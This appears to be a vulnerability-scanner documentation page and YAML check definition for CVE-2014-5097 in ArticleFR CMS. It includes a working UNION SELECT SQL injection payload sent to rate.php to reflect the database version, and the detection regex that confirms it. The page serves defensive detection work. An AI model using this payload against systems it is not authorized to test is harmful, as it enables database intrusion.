ArticleFR — 1 vulnerability check
noctis ships 1 vulnerability check for ArticleFR, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ArticleFR CMS rate.php 'id' SQL Injection
| CVE | CVE-2014-5097 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/articlefr/CVE-2014-5097.yaml |
Detects CVE-2014-5097 by sending a UNION SELECT payload to the ArticleFR CMS rate.php endpoint and confirming the reflected version string (scored.*from.<version>) on an ArticleFR page.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /index.php HTTP/1.0 - Checks
fpresp.bannerforPowered by.*>ArticleFR - Raw TCP (TLS on HTTPS), sent verbatim:
GET /rate.php?act=set&id=0%20union%20select%201,version%28%29,3,4%20--%202 HTTP/1.0 - Checks
resp.bannerforscored.*from.([0-9.]+)→ finding QoD 75: ArticleFR CMS SQLi confirmed — UNION SELECT on rate.php 'id' reflected the backend version on an ArticleFR page at …:…
References:
Feed source — tests/vulnerabilities/articlefr/CVE-2014-5097.yaml
# ArticleFR CMS — 'id' parameter SQL Injection (CVE-2014-5097)
#
# ArticleFR CMS fails to sanitise the `id` GET parameter of rate.php before
# using it in an SQL query. An unauthenticated attacker injects a UNION
# SELECT that reflects version() into the rating response, confirming
# injection.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_articlefr_cms_sql_inj_vuln.nasl
# (GPL-2.0-only). Payload and confirmation regex preserved faithfully from
# the source plugin:
# url = /rate.php?act=set&id=0%20union%20select%201,version%28%29,3,4%20--%202
# pattern = scored.*from.([0-9.]+)
# The NASL first fetches <dir>/index.php and requires 'Powered by ... >ArticleFR'
# (get_app_location) before sending the payload, so the feed fingerprints
# index.php and gates the version match on it. This both matches the NASL flow
# and avoids a false positive on a generic "scored ... from <n>" page — without
# requiring the fingerprint in the rate.php response itself (which on a real
# host is a bare rating fragment, so matching it there would miss live hosts).
#
# The payload carries URL-encoded tokens that reqwest would normalise, so the
# request is sent verbatim over tcp_connect (HTTP/1.0) and matched on
# resp.banner.
uid: 575feba3-64c9-45c7-9ed5-6c60676bf4e7
name: "ArticleFR CMS rate.php 'id' SQL Injection"
description: |
Detects CVE-2014-5097 by sending a UNION SELECT payload to the ArticleFR CMS rate.php
endpoint and confirming the reflected version string (scored.*from.<version>) on an
ArticleFR page.
cves: [CVE-2014-5097]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [articlefr, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-5097"
- "OpenVAS/Greenbone NASL 2014/gb_articlefr_cms_sql_inj_vuln.nasl (GPL-2.0-only)"
steps:
# NASL get_app_location equivalent: fetch index.php and require the ArticleFR
# footer before trusting the rate.php version reflection. Sent over
# tcp_connect (same as the payload) so it auto-wraps TLS for https targets.
- id: fingerprint-probe
action: tcp_connect
port: "{{port}}"
send: "GET /index.php HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: fpresp
- id: fingerprint
action: match
source: fpresp.banner
pattern: "Powered by.*>ArticleFR"
store_as: fp
- id: sqli-probe
action: tcp_connect
port: "{{port}}"
send: "GET /rate.php?act=set&id=0%20union%20select%201,version%28%29,3,4%20--%202 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: resp
- id: confirm-sqli
action: match
source: resp.banner
pattern: "scored.*from.([0-9.]+)"
on_match:
condition: "fp.matched"
finding:
confidence_delta: 0.55
qod: 75
evidence: "ArticleFR CMS SQLi confirmed — UNION SELECT on rate.php 'id' reflected the backend version on an ArticleFR page at {{target_host}}:{{port}}"